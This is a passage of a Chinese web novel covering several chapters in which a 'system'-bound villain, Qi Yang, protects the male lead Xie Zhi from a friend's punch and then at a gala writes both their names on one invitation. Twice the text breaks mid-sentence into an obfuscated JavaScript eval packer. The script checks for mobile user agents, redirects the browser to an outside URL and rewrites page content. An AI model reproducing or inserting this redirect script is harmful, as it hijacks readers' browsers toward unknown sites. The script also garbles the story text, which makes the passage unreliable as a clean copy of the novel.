997专门说这个,就是为了提醒祁漾。 他那微薄的10积分—— 哦不对,现在只有4积分了,因为还额外花了6积分给它买了洋甘菊。 4积分,谢执的平安扣。 无论怎么想都不可能。 祁漾却好像没听出997的潜台词:“好,那你算算。” 三分钟后。 997看着那条“剧情重要道具,所需积分:722分”的提示,陷入长久的沉默。 又两分钟过去。 “宿主,所需积分,七百…七百零一分。” 减去21分,是它能动的最大权限。 祁漾根本不知道997已经帮它减去了零头。 “701啊,都可以给你买七朵铃兰了。” 997:“……” 这种时候了,为什么宿主还想着铃兰的事? “宿主,”997看着自己系统库里那朵洋甘菊,“我带过谢执很多个世界。” “谢执在海里或许真的对你有过杀意。” “可既然在最后一刻松了手,就代表着他短时间内不会动你。” “而且你有天道眷顾光环,谢执也动不了你,不用担心。” “你以为我想捞那枚平安扣,是怕谢执杀我吗?”祁漾失笑。 997被问住了:“不是吗?” “不是,”祁漾摇头,他脑海浮现出那枚平安扣的样子,“我捞它,只是因为那是谢执妈妈留给他的遗物。” 祁漾靠在冰凉的镜面上,在脑海中点开登录中心,又认认真真看了一圈。 他加加减减,算出一个数。 “行了,”祁漾伸了个懒腰,像是心情不错,说,“701减去660分,再减去现有的4分,只要攒37分就行了。” “不难,别气馁。” “37分?”以精密计算著称的系统脑袋都停滞片刻,“怎么会是——” 997终于反应过来。 “不行!”997急到连宿主都没喊。 997算出来了,祁漾是打算把初始赠送的伤害减免和痛觉屏蔽功能回收。 一个260分,一个400分。 加起来刚好660分。 997熟悉规则,它知道可以这么操作,但…… 宿主本来就没什么可以用的,现在连最基本两项功能都没了。 这怎么行! 祁漾刚挑的浴袍随着他的一踉跄,已经掉在地毯上,他只好把这脏的扔到一旁的椅子上,回到衣柜重新挑。 祁漾手生得好,纤长白皙,此时长指虚扫过那些睡袍,弹琴似的。 他神色同样柔和。 “你不是说痛觉屏蔽和伤害比例减免只有在受到致命伤害的时候才会自动触发吗?平常也没用,放着也是放着。” “天道眷顾光环又在我这里,死不了,那怕什么。” 根本不是这个道理。 “宿主,你不知道以后要经历什么。” “只一枚平安扣而已。” “…如果真有必要,等缓冲完,等我回到谢执身上,我一定帮你提醒谢执,让他想办法。” 祁漾却说:“我弄丢的,让谢执想办法算怎么回事。” 登录中心所有细则,祁漾一条一条看过,研究过,所以他很清楚。 “997,你说的701积分,是以这条项链对我的重要性计算出来的吧?” “对我这种剧情反派来说,这条平安扣固然也重要,但充其量只能算剧情道具,而且我的积分难攒,所以在这基础上,给出了701分的结果。” “换成谢执去兑,就远不止701分了吧。” 997回以沉默。 沉默就是答案。 “看来猜对了。”祁漾笑着说。 “…宿主为什么一定要拿回这条平安扣。”997总觉得这些都不是祁漾真正的理由。 祁漾停下一切动作,他站在衣柜前那片感应灯光里。 “你想听实话吗。” “嗯。” “好,那我说,实话就是……”祁漾终于挑好新的睡袍。 一件和谢执那块墨玉平安扣颜色很像,质地也很像的黑绸睡袍。 祁漾把它从衣架上拿下,笑得更加漂亮—— “因为我想。” “这就是理由。” 再熟悉不过的语气。 再熟悉不过的行为逻辑。 出现了。 第二个谢执。 …不对。 是比谢执更难懂的祁漾。 997感受着身上急剧变化的数据,就像感受着人类因为刺激而极速加快的血液流动。 它从来没有过这么强烈的预感。 每一下,每一下,好像都在告诉它同一件事。 这第32次循环,这第32条世界线。 或许,可能,会比以往任何一次,都更—— 完蛋。 6. 打起来了! 祁漾拎着浴袍走进浴室,997自动开启屏蔽模式。 热水自上而下淋湿头发,祁漾半垂着眼睛,盯着地面黑色瓷砖出神。 想来也觉得好笑。 就在两小时前,他还在和997做争辩,说“他”把谢执从谢老爷子那里要过来这个剧情完全不讲逻辑。 现在却庆幸没有逻辑,起码这段时间谢执在他跟前。 祁漾抬起手,摸了摸颈间的淤痕,被热水一激,隐隐有些发烫。 当务之急是攒积分,捞项链。 可要攒积分光让谢执在跟前远远不够,还得想个办法接近他。 祁漾越想越头疼,以他现在的处境,谢执留他一条命都是男主阳光开朗了,想要取得信任简直就是天方夜谭。 他一个反派能有什么办法? 总不能过去跟男主说其实我跟他们都是假玩,跟你才是真玩吧? 细微的叹息混在热水蒸腾的白雾里。 生活不易,救世主叹气。 洗完澡,祁漾又对镜盯着脖子看了两秒,转身走向衣帽间,挑了条白色缎面丝带,绑住脖子痕迹后,给蒋高轩他们发去了消息。 确认在他睡着这段时间里无事发生,祁漾松了一口气。 - 巨型游艇在私人码头的晚风中靠岸。 祁漾下船的时候,蒋家疗养院的车已经候在那里。 “明天谢家益行基金会三十周年慈善晚宴,”祁漾轮廓在码头立灯和车灯的映衬下显得格外清晰,他静静站在打开的车门旁,微侧过脸,看向不远处的谢执,“肩膀上的伤自己处理好。” 在997“宿主凶一点”的不住提醒下,祁漾又低低补了一句:“…别死了。” 不知道是不是祁漾的错觉,总觉得谢执的视线在他颈间停了很久。 久到祁漾差点没忍住,想抬手去摸丝带。 “997,明天谢家慈善晚宴是什么剧情?” 祁漾是在船靠岸那一刻听到997声音的。 当时997没多说,只提了慈善晚宴的事,说能拿经验积分,祁漾这才临时开口说带上谢执。 “目前还不知道。”997答。 从和祁漾绑定那一刻起,很多剧情数据都发生了变化,即便是997,现在也只能看到剧情点的提示。 997接收到提示,给祁漾发布任务,完成剧情点获得经验积分,就像在玩一场大型的开放世界游戏。 祁漾本来想等脖子上的伤养好再做打算,谁知任务来得这么快。 “不过能攒积分也是好事。”祁漾摸着脖子上的丝带说。 蒋家这间私人疗养院在山上,开了将近两小时才抵达。 祁漾做完检查已近半夜,自然什么都没查出来,记忆障碍的事也只能当做心因性处理。 “就先这样吧,别折腾了,”蒋高轩看着祁漾明显发倦的脸说,“今天好好睡一觉,说不定明天起来就好了。” 祁漾“嗯”了一声,盘腿坐在床上:“你回去吧,明早我再走。” “走什么走,老实待着,”蒋高轩跟着在床边坐下,“你掉下海的事我还没跟叔叔阿姨说……” “敢说你就死定了。” “你看我像敢说的样子吗?”蒋高轩拿过床头柜上的遥控,把房间内灯关了两盏,“明天晚宴就在唐河京府,离这不远,直接从这边出发。” “衣服那些我派人去取。” 祁漾也懒得来回跑,想了想,应下:“行。” 祁漾躺了三分钟,蒋高轩还没走。 “想说什么。”祁漾直接问。 蒋高轩神色很复杂:“你就一定要带上谢执?” “本来就是谢家的晚宴。”祁漾道。 “可没人邀请他,”蒋高轩忍不住提醒祁漾,“承启哥出车祸那天开的是谢执的车,虽然事后各种物证鉴定都证明和谢执无关,但如果谢家人对谢执没有存疑,谢老爷子怎么可能暂停谢执的职务,还把谢执交给你?” 祁漾只说:“阿轩,我有我的理由。” 蒋高轩:“可你……” “蒋高轩,”祁漾直直看回去,“一句话,你信不信我。” 蒋高轩很久没听到祁漾这么连名带姓喊他了,顿了许久,用力揉了揉自己的后颈,把遥控器轻轻放在祁漾枕边,最终吐出一个字:“信。” 祁漾看着他憋屈却听话的表情,想笑又忍住:“那就行了。” 蒋高轩认命出去安排事宜。 “宿主,你这样……”997开口。 祁漾熄完最后一盏灯,双手抓着被子躺下:“你看,警报也没响,说明我没违规。” 997看着毫无动静的后台,的确,警报没响。 可它总有种不合时宜的怪异感。 997回头检查数据,蒋高轩他们虽然算不上主要反派,但身上也不是没有剧情点。 宿主打定主意要保全他们,不让他们动谢执,也肯定不会允许谢执动他们,那剧情点怎么推? 997找不到答案,没再开口。 - 翌日,祁漾是被一阵急促的敲门声吵醒的。 “祁少!祁少您醒着吗?!” “祁少!” 祁漾按着针扎似的太阳穴从床上坐起来:“进来。” 责任护士闻言立刻推门,顶着一脑袋汗紧张道:“抱歉祁少,不是故意要吵醒您的,实在是…您快去看看吧!我们东家和您带回来的那位客人好像快要动手了,护士长让我赶紧通知您。” 谁和谁?? 祁漾喉咙像是被什么东西堵住了,因为太过荒唐,甚至下意识歪了一下头:“你说谁和谁?” “就我们东家和您带回来的那位客人啊,姓谢的那位。” 祁漾耳边轰的一声,大脑还是空的,身体已经被紧绷的神经全权接管,机械又飞快地掀开被子大步朝门外跑出去。 “几楼?”祁漾声音都有点不稳。 身后一堆人还以为祁漾在问这里是几层,立刻道:“2、23!” “我说阿轩他们!” “21!21!” 祁漾看着电梯屏幕上“-1”的标记。 等电梯上来明天阿轩就上死神笔记了。 祁漾转身朝着安全通道楼梯疾速跑去。 一分钟后,“砰”一声巨响,祁漾急促喘着气,撞开21层疏散门。 昏暗的安全通道和灯火通明的走廊光影交替的一瞬间,祁漾看到蒋高轩左手攥着谢执领口,右手高举着拳头挥在空中—— “蒋高轩!” 祁漾嘶哑的一声将一切按下暂停。 或许是因为刚睡醒,祁漾的声音并不算响,却轻而易举镇住了21层所有人。 围在蒋高轩身边的七八个医护齐齐转头,看到来人的瞬间,心里只有一个念头:得救了! 祁漾只觉得荒唐。 荒唐到好像睡梦中被人扎了一刀,醒来不见凶手,只剩下冒血的窟窿。 祁漾现在看着蒋高轩和谢执,就像在看着那个血窟窿。 不对,是两个。 祁漾第一反应不是疼,而是气。 很气。 气到祁漾甚至忘了不远处那人是毁灭世界31次的男主。 祁漾冷着脸朝着谢执跑过去,不容分说,一把拽开了蒋高轩的手。 他没第一时间朝着蒋高轩发火,而是一转身,隐忍压抑了一路的情绪,挟着后怕、担心、着急等各种情绪,如同一道冲天的火柱,在整条廊道轰地炸开—— “别人打你你不会躲的吗?就站这让人打?!” 错愕。 死寂。 比祁漾情绪冲天时更令人战栗的死寂。 谢执微垂着眼,不发一言看着拦在他身前的祁漾。 因为做检查,祁漾此时还穿着疗养院宽松的护理服,领口开得很大,空空荡荡挂在身上。 他脖子上没缠丝带,不知道是忘了还是没来得及,颈间的青紫把他脸色映得愈加苍白。 手在抖,衣服在抖,人在抖,一副摇摇欲坠的模样。 祁漾手指还止不住地发颤,他终于转过身,在谢执捉摸不透的眼神中看向蒋高轩。 “你打他了?”祁漾闭着眼问,挣扎出声。 所有医护:“???” 蒋高轩像台被突然抽去电池的机器,此时拳头还半举在空中,浑身僵硬。 祁漾都不敢想蒋高轩那一拳下去会发生什么。 在那场走马灯里凡是跟谢执动过手的,没一个有好下场。 蒋高轩今天对谢执挥出一拳,明天…说不定今晚就会在手术室看到他。 昨天他说了那么多遍“别动谢执”全当耳旁风了是吗? 祁漾又急又气,也是真的怕蒋高轩出事,他攥着手,正要张口—— “你护着他?!”蒋高轩喊。 祁漾要说的话一下子卡在喉咙。 …什么? 蒋高轩指关节捏到几乎要发出声响,连下颌肌肉都在机械性抽搐。 “你拦着我,护着他?!还问我打他了没?!” 谁护着他了! 祁漾冤到整个人都是木的,要不是担心蒋高轩以后被男主清算,他用得着连电梯都不坐,连跑两层楼梯来拦他?! 他到底在护谁! 祁漾一口气没提上来,蒋高轩却以为这是祁漾没话说了。 “好,很好。”蒋高轩视线在祁漾身后那人脸上停留两秒,倏地笑了下,“既然这样……” 蒋高轩猛地往前跨了一步:“今天我还就非打他不可了!” “东家你冷静点!” “别!” 惊呼尖叫四起。 就在蒋高轩拳头即将落下的前一刻,几道更尖锐的喊声穿透走廊。 “祁少!” “东家那是祁少!” “您看清楚啊!!” 蒋高轩眼睛倏地睁大,看着眼前突然转过身,用自己整个身体护住谢执的祁漾,手上青筋暴起。 蒋高轩惊愕到浑身一震,但收势已经来不及。 “啪——” 这一拳终归落了下来。 肉和骨头碰撞的沉闷声响在祁漾耳边炸开。 祁漾紧紧闭着眼,等着跟随而来的疼痛。 可是不疼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444218|201078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一点都不疼。 恍惚间,祁漾还以为是那什么痛觉屏蔽功能自动开启了。 他在惊疑中慢慢睁开眼。 看到的是一双冷淡的眼睛。 谢执半抬着右手,用掌心接住了蒋高轩挥向自己,也同时挥向祁漾的这一拳。 再度安静。 走廊所有医护从蒋高轩对祁漾动手的骇然到拳头被谢执接住后劫后余生的庆幸,再到“妈呀祁少这是为了谢执跟东家翻脸了吗”的瞠目。 翻天的情绪和视线一轮又一轮。 谢执的目光却自始至终只落在祁漾身上。 蒋高轩那一拳用了十成的力,尽管在最后分秒间卸掉大半,威力仍旧不小,谢执却好像感觉不到疼痛,甚至都没分神去看自己掌心。 他盯着身前的祁漾,目光在他眉眼间极缓极慢地滑过。 像野兽在察视一只误入他领地的猎物。 最后,那目光缓缓下落,不偏不倚停在祁漾喉间指痕上。 祁漾完全没注意谢执的神色,陀螺似的一个转身,抬手拍在蒋高轩紧绷的小臂上。 “蒋高轩!”祁漾第一次冲着蒋高轩疾言厉色,气到嘴唇也跟着一起抖,却仍旧顾忌着周遭,把声音压得极低,“你昨天怎么答应我的?说好了别动他的?!” “别动…”蒋高轩还没从祁漾替谢执挡拳头的冲击中缓过神来,骤然听到祁漾的声音,只觉得迷茫,“别动谁?我答应你什么了?” 祁漾看着蒋高轩不似作伪的疑惑,一整个人愣住。 耳边所有声响在一瞬间被抽空,头顶的天花板似乎都在转动。 “997,怎么回事?” 997从昨晚起就不断缭绕的怪异感彻底落地。 它只说了八个字。 “…位面自动保护机制。” 又是这个。 “这鬼机制触发的前置条件是什么?”祁漾额间青筋狂跳。 “宿主,可能是你让他们‘别动男主’这个决定,也算是变相的让位面人物远离男主,但蒋高轩他们身上还有没走完的剧情点,所以……” “你的意思是走完剧情点就好了?” “大概率是的。” 祁漾不再说话了。 突然的沉默让997莫名感到一阵慌张。 它恍然又想起甲板上的情形。 就在997以为自己又要听到一连串系统警报声时,却看到祁漾攥着的拳头一点一点松开,肩膀也落下来。 像是做完了一个漫长的深呼吸。 997浑身数字都要炸开来—— “没事,拦住就好了。” 祁漾这句话是跟997说的,但不在脑海里。 他低着头看着地面,用一种自言自语的语气,几不可闻地说。 997一懵:“什么?” “像今天这样拦住就好了。” “只要我在一天,就拦一天。” 祁漾抬起头来。 说他不生气是假的,那当头一棒的感觉也是真的。 规则操蛋,但生气没用,997也无辜。 祁漾虽然不知道蒋高轩他们该走的剧情点是什么,但他知道,从997绑定在他身上那一刻起,剧情就已经发生了改变。 只要剧情是可以改变的,他就不怕。 他会不厌其烦,一而再再而三地拉住他们…也拉住谢执。 这是祁漾不知道第几次给997一个完全超出它计算能力的答案。 997很难形容自己现在的感受,就像被什么东西很轻地击中了。 情绪被同化,997正触动—— “拦归拦,但主神这个%¥#%&*&%……” “宿、宿主。” “没经过同意…&%¥…” “宿主!” “不厚道&*%¥随便动别人记忆*(&)&¥……” “宿主!!!” 997崩溃的声音和系统屏蔽的哔哔声飘在耳侧,祁漾堵塞在心口的那团气终于通了。 “爽。”祁漾通体舒泰。 然而爽完还有麻烦要收拾。 身后是谢执似有若无的视线,祁漾不是没感觉到,但眼下蒋高轩这个窟窿显然比较大,祁漾也无暇管身了,“啪”一下拍掉蒋高轩的拳头,拽着蒋高轩小臂闷头朝着安全通道的方向走。 谢执视线在蒋高轩被拽着的小臂上停了停,又收回,转身进了屋子。 门口传来窸窣的说话。 “这人什么来头,祁少护这么紧?” “不知道啊,一听东家和他打起来了,连电梯都不等了,火急火燎就冲下来了,下楼梯的时候还磕了一下,差点没把身后的杨主任吓死!一个劲的在后面喊祖宗慢点。” “反正接下来你们都上心点,别怠慢了。” 谢执听着门口那几道人声,缓缓转着刚动过手的右手手腕。 护这么紧,别怠慢。 祁漾护着他? 谢执意味不明地笑了一声。 走廊里的一幕幕在谢执眼前闪过,最后停留在祁漾拽着蒋高轩离开的背影上—— 头也没回。 7. 没有邀请函 祁漾拽着人回23楼这一路,走了多久,祁漾就想了多久。 位面世界保护机制像条高压线横在那里,997也说不清具体的触发条件,祁漾只能摸着石头过河。 房门一关,祁漾松开抓着蒋高轩的手,他深吸一口气,也不等蒋高轩开口,劈头盖脸就是一顿输出。 “你现在动手,还往脸上招呼,是想让谢执顶着一脸伤去晚宴吗?” “你帮谢执说话?!” “……”服了。 “蒋高轩,你还记不记得我昨天跟你说了什么?” 是质问也是试探。 “怎么不记得?在船上你就找医生去给谢执看肩膀,还把人带到了这里,昨晚……” 蒋高轩一开口就没停过,越说越多,似乎也在气头上,最后才道:“漾漾,你到底想做什么?” 这下别说是祁漾,连997也惊了。 祁漾刚开始还以为蒋高轩和他的情况一样,有关谢执的记忆全部被清除,可现在看来,除了那句“别动谢执”外,蒋高轩清晰地记得所有经过。 “宿主,”997猛然想起了一种可能,“…或许蒋高轩他们不是触发了保护机制,而是剧情的自动修复。” 997是知道有这种情况的。 祁漾:“什么意思?” 997打了个比方:“走剧情其实和打游戏是一样的,玩家的阵营决定态度,主角友方友好,敌方敌对。” “但敌方对主角的‘仇恨值’也有高低。” “为了推进剧情点,注定这个‘仇恨值’要保持在某个水平,因为如果太低的话,敌方是不会发动攻击的。” 祁漾接过997的话:“ 你的意思是,剧情自动修复,修复的是他们对谢执的‘恶意’?” “是的。”997说。 997:“如果真是这样……” 祁漾截住997的话:“如果真是这样就简单了。” 997:“?” 祁漾:“剧情自动修复的事我再想办法,眼下只要他们不动谢执,恶意暂时消不了就消不了,我只要结果。” 结果? 就在997猜测这句话含义的时候,它听到祁漾说话的声音。 不是对它说的—— “我接近谢执是为了承启哥。” “这事我有了点眉目,可能跟谢家有关。” “谢执只是个靶子。” “我有我的计划,在我调查清楚之前,你别动他。” 997目瞪口呆。 看着被唬住的蒋高轩,997像人类咽口水那样,艰难地咽下一两个数字。 确实,这样的确既能保住蒋高轩他们对谢执的“仇恨值”,又能避免他们动手。 但“为了谢承启”这种话…… “宿主,你不怕哪天被男主知道吗?” “有什么好怕的,”祁漾心里巨石落地,只有成功糊弄住好友的安心,听到997的话还隐隐有些好笑,“利用规则漏洞罢了。” “再说,”祁漾觉得是997想太多了,“谢执能在乎这个?” 997细想好像也是这么个理,收了声。 - 暮色四合,贯穿整个北亭的大堰湖在西山山脚打了弯,静静朝东流淌。 岸边密密的灯柱连成一片,挟着黑色车流朝着同一目的地驶去。 唐河京府傍山而立,中轴线上百年滴漏铜表尺已缓缓指向酉时。 一辆银灰色宾利驶出绕山高架侧路,汇入主道。 在灯火照亮宾利车牌的瞬间,前后两辆黑色迈巴赫尾灯同时闪起,变道让行。 后座的祁漾单手支着下巴,很随意地问了句:“谁家的车。” 已经很习惯被敬让的司机立刻道:“好像是翟家的。” 祁漾“嗯”了一声,继续望向窗外的湖景。 司机借着车内后视镜,瞄了一眼自家少爷。 自上车起,祁漾几乎就没转过头,始终保持着望向窗外的姿势。 司机不解,唐河京府这条路开了没有二十次也有十次了,湖景那么好看? 如果司机问出口,得到的答案一定是,湖景不好看,但…祁漾在余光的间隙里看着身侧那道黑色身影。 再怎么不好看总比看个煞神好。 祁漾也不知道自己当时怎么想的,怎么就和谢执坐了同一辆车? “997,今晚剧情点是什么,现在还不知道吗?” “抱歉宿主。”997老实道。 “一场晚宴而已,总不至于…见血吧?”祁漾莫名想起997那句“男主经常找死”。 好在这次997说:“应该不会,经验积分就只有5分,应该只是小剧情。” 就在祁漾竭力回忆,试图在那场走马灯中找到有关于这场宴会丁点痕迹时,沿岸的高耸灯柱逐渐被黑松替代,唐河京府百年建筑群全貌也随着愈发明亮的视野,彻底展现于眼前。 银灰色宾利车轮碾过特筑的青石地雕,引擎熄灭的瞬间,京府东门缓慢涌动的人潮像是被一只无形的手按在原地。 “这车牌…那里面是?” “除了祁家那位还能有谁。” “还愣着干什么,快去接啊,今天晚上可没几位比这位更金贵了。”有人半开玩笑半认真地提醒着。 带着白手套,统一着装的门童收到示意,立刻小跑跃下台阶,手指还来不及搭上门柄,车已经从里朝外被推开。 一只穿着深炭灰手工定制皮鞋的脚先落在红毯上,紧接着是挺括亮眼的白色西装长裤。 被谢家派来迎宾的谢元正收到消息,一刻也不耽误地跑出来。 “漾……”剩下一个字随着宾利另一道门的推开戛然而止。 一道黑色高挑身影从宾利另一侧走下来。 那人很轻地转了转前臂,踩着红毯,缓步越过车尾—— 在祁漾身后慢慢停下。 这下不只是谢元正,整个东门都安静了。 不是一点一点渐次的安静,而是突兀又强硬的消音。 “谢执?!” “他怎么会从祁少的车上下来?!” 祁漾为了那条遮指痕的白色丝带,今晚特地搭了同色的白西装。 他身段已是极其出挑的修长,可谢执仍旧比他高大半个头,此时穿着一身纯黑硬挺的西装,站在祁漾身后。 即便再看不上谢执的人,都不得不承认,谢执生得极好,和祁漾那浓酽精致又不失柔和的五官不同,谢执皮肤很薄,几乎贴着骨头的那种薄,眉眼深邃,鼻梁高挺,轮廓锋利像柄开刃的刀。 一白一黑,一前一后。 强烈的视觉冲击轻易地挑动在场每个人的神经。 祁漾却根本没留心四周的异常,只感觉到谢执西装上那木质熏香的味道一点点靠近。 …太近了。 祁漾没捱住,也没回头看谢执,从司机手中接过邀请函,带着点不自知的落荒而逃意味地抬脚往上走。 谢执静站在原地,盯着那背影看了几秒,缓步跟上。 谢元正在看到谢执那一秒,表情就阴沉下来,又在祁漾走到跟前时敛好,笑着说:“轩哥怎么没有跟你一起?” 祁漾将邀请函随手放在礼台:“去接乐怡了,晚点。” 说话间,又有七八个人从前厅红毯那边走了出来。 显然是听到祁漾来了赶过来的。 祁漾想着剧情点的事,心不在焉应付了两句,一抬眼,看到不远处站着一个人。 “997,那边那个好像是魏河风?” “好像是的,宿主。” 魏河风怎么也在? 祁漾正思考,手机突然响起。 是家里的电话。 祁漾翻转手机跟谢元正简单示意,避开人群朝着前厅小阳台走去。 魏河风就在祁漾离开的下一秒给谢执发去消息。 【虽然不知道祁家这少爷带你来晚宴的目的,但也算歪打正着,你今晚就跟着他,别乱来,你想要的那条项链我一定帮你拍下。】 按下发送,魏河风一转头,忽然看到谢元正朝着下面的人递了个眼神。 魏河风:“?” 一种不好的预感倏地涌上魏河风心头,还不等他上前—— “贵宾您好,请出示您的邀请函。” 是迎宾台那边的声音。 魏河风赶忙朝前走两步,看到的就是被两位身穿制服的保镖拦住的谢执。 魏河风暗叫一声不好。 从知道谢执要跟祁漾一起出席那一刻起,魏河风就觉得要出岔子,可他颠来倒去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444219|201078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么都没想到,第一步就出了岔子?! “请出示您的邀请函。”保镖再度开口。 “不会吧?谢家的慈善晚宴,谢家三少爷怎么会没有邀请函呢?要不要再确认一下。” “元正,你们家保镖不行啊,怎么连自家少爷都不认识了?” 谢元正一脸阴沉,在原地转身,看着迎宾台前那道黑色身影,看着这位名义上的堂哥,须臾又笑了。 “三哥,你的邀请函呢。”谢元朝着谢执走过去。 门口那七八人朝着谢元正身后象征性地眺了眺。 没看到祁少。 意识到什么后,所有人跟着笑开,再次看向谢执时,眼底的恶意藏都不藏了。 魏河风跟着觉出不对来—— 这祁家小少爷是故意的。 故意把人留在这里。 谢元正也故意拿邀请函做文章。 那边奚落声更响,魏河风掌心都被指甲掐出四道青印,抬脚就想走过去,又被谢执一个轻飘飘的眼神压下。 “小谢总…哦不对,听说小谢总刚被谢老太爷免了职,现在应该喊谢三少才是。” “三少是本家人,怎么反倒跟着祁少过来了?” “什么叫跟着祁少过来的?你看祁少搭理他了吗?明明是跟着祁少的‘车’过来的。” …… 祁漾刚挂完电话,紧接着蒋高轩又发来消息。 他还来不及看,997的声音先一步响起:“宿主,您该出去看看了。” 祁漾回消息的手顿了下:“嗯?” 什么意思? 997一时没说话,祁漾身体警铃先响了。 997开口,那一定和男主有关。 谢执怎……不好!谢执不会还在外面吧?! 想到这里,祁漾攥着手机拔腿就朝外跑去,还没跑到迎宾台,十米开外就听到一句—— “三哥,你不妨猜猜看,漾漾为什么把你留在这?” 是谢元正的声音。 祁漾眼前都黑了一下。 为什么把谢执留在这? 还能为什么? 接电话去了啊。 “既然没有邀请函…”谢元正再绷不住脸上的表情,横张的颧骨往上牵动,“那不好意思了,三哥。” 谢元正朝着保镖示意:“把人轰——” “没有邀请函?” 一道柔和干净的男声从身后传来。 整个前厅的人循声望过去。 祁漾单手攥着手机,踩着水晶吊灯折射出的一地碎光走过来。 “差点忘了这回事。” 祁漾声音还带着几分跑动后的微喘。 他边说着话,边慢步经过谢元正身侧,没有丝毫停留,也没有分给谢元正一个眼神,直直朝着保镖…谢执的方向走去。 祁漾在谢执跟前站定,心已如擂鼓,面上却丝毫不显。 对不起,真不是故意的。 是真的忘了还有邀请函这回事。 祁漾在心里连连说了两句,神色却依旧平静。 他薄薄的眼皮往下一垂,落在保镖拦人的小臂上。 没人不知道祁漾的身份,只一眼,保镖的手立刻放了下去。 祁漾满意了,也没和谢执对视,一转身,两步走到迎宾台前,左手取回刚由自己递出的那张函卡,上下扫视一圈,看向一位侍应生。 他指了指那男生胸前的钢笔,笑着说:“借用一下。” “好、好的。”侍应生立刻奉上。 祁漾就这样,在一众无声愕然的视线中,提笔写下几个字。 “是我疏忽了,”祁漾写完最后一笔,“刚刚确实没有邀请函。” “咔哒”,钢笔合盖这样微弱的声响此时却如雷鸣,清晰砸向整个前厅。 祁漾还好钢笔,一转身,将那张写完的函卡递给谢元正:“现在有了。” 谢元正如同被人打了一拳,僵硬一低头,在看清函卡的瞬间,瞳孔骤然收缩。 谢元正以为祁漾会像寻常宾客一样,在那张签着他名字的特邀函卡后面添上“携伴”二字,已是极限。 可没有。 谢元正怎么也不会想到,他看到的会是—— 祁漾&谢执。 整个前厅鸦雀无声。 8. 拍卖 不是祁漾携伴。 是祁漾&谢执。 在这个哪怕杯子举多高,第几个进场都有精密门道的天城最大名利场,有些规矩永远不会白纸黑字落在纸上,但即便是只懂些皮毛规矩的侍应生都知晓—— 哪怕是已经公开恋爱关系的情人,只要没过家里的明路,没涉及婚姻讨论,函卡上也只会是很有余地的“携伴”。 两个名字并列写在一张函卡上…… 只有两方家族彻底绑定的夫妻或未婚夫妻才会这么写。 谢元正盯着那张函卡,眼睑都开始不受控地痉挛,隔了许久才稳住呼吸,挤出一个扯得堪称难看的笑:“…漾漾,不是我不让…三哥进,今天的晚宴爷爷不出席,但名单是他一一确认过的,即便三哥是谢家人,我也不能违背爷爷的意思。” “谢家人”三个字一下落在祁漾耳朵里。 祁漾现在听不得这三个字,一听到就会想到那场扭曲梦境,想到谢家祠堂,想到997那句“谢执也姓谢”。 “他不是以谢家人身份出席的,”祁漾轻点着那张函卡,“谢爷爷既然让他跟着我,那他今天就是以祁家人的身份出席的。” 祁漾直直看着谢元正:“我带个人,这种小事,应该还用不着请示谢爷爷吧?” 祁家人。 谢执漆黑的眼眸慢慢下落,停在祁漾莹白的后颈。 祁漾每说一个字,前厅就愈安静一分。 “祁家人”三个字一落地,满堂惊惶,刚奚落谢执奚落得最卖力的两个人后背甚至浸出了冷汗。 到底什么情况? 不是说祁少和谢家这私生子不对付吗? 谢元正表情再敛不住,难看到几乎要裂开,几个字几乎是咬碎了吐出来的:“…不用。” 谢执目光平静如古井,看着今晚这出戏。 明明所有缘由因他而起,锚点中的人却像个恰好在场的看客。 谢元正淬毒似的目光有如实质,谢执只觉得乏味,正要扫过眼,手腕却倏地覆上一层不属于自己的温度。 谢执顿了下,很轻地垂下眼。 “走了。”祁漾没有回头,拉过谢执手腕朝着里厅的方向走。 直到两人的背影消失于视线,前厅还是无人开口说一句话。 祁漾在越过小阳台窗帘的那一瞬松了手。 连廊的灯光将两人的影子拉得极长,交叠倒映在冰凉的白瓷砖上。 祁漾脚步越来越慢,越来越慢,最终停下。 “刚刚我接电话去了。”他忽然开口。 祁漾还保持着背对的姿势,又和之前不同,很小幅度地偏转过半张脸,露出一点脸颊的轮廓。 从身后的角度看过去,是从眉心起笔流畅落下来的鼻梁,还有一扇微垂浓密的眼睫。 谢执没说话,等着他的下文。 然后听到—— “不是故意留你一个人在那儿的。” 谢执终于敛起所有心绪,今晚第一次正眼看向祁漾。 “我去那边打个招呼,你去宴会厅等我。”祁漾淡声扔下最后一句,抬脚离开,剩谢执停在原地,神色晦涩不明。 “宿主,您要去哪?”997不解出声。 直到离开谢执视线范围,祁漾绷着的脊背才骤然垮下来。 谢执该不会真的误会他把他故意留在哪儿吧? 祁漾一边思考,一边回答997:“没去哪。” “魏河风出现在这里,肯定是谢执的意思,”祁漾背倚着转角的墙壁,“总要让他们碰个面。” 997盯着祁漾看了小半晌。 “宿主。” “嗯?” “…你只是想逃一会吧。” “…瞎说。” - 【我在3221等你。】 十分钟后,唐河京府行政客房3221门被推开。 “你是不是私底下和祁家达成了什么交易?”玄关感应灯都没来得及亮,魏河风的声音就劈了下来。 “还是和祁漾达成了什么交易?” “要真有,你别瞒着我。” 谢执没应,越过魏河风,朝着里走。 魏河风亦步亦趋跟在后面:“没交易他把你名字写他邀请卡上?整得跟婚礼请…咳。” 魏河风拿拳头抵了抵嘴唇,才继续道:“你不会不知道祁漾那张邀请函的分量吧?谢元正脸都青了。” 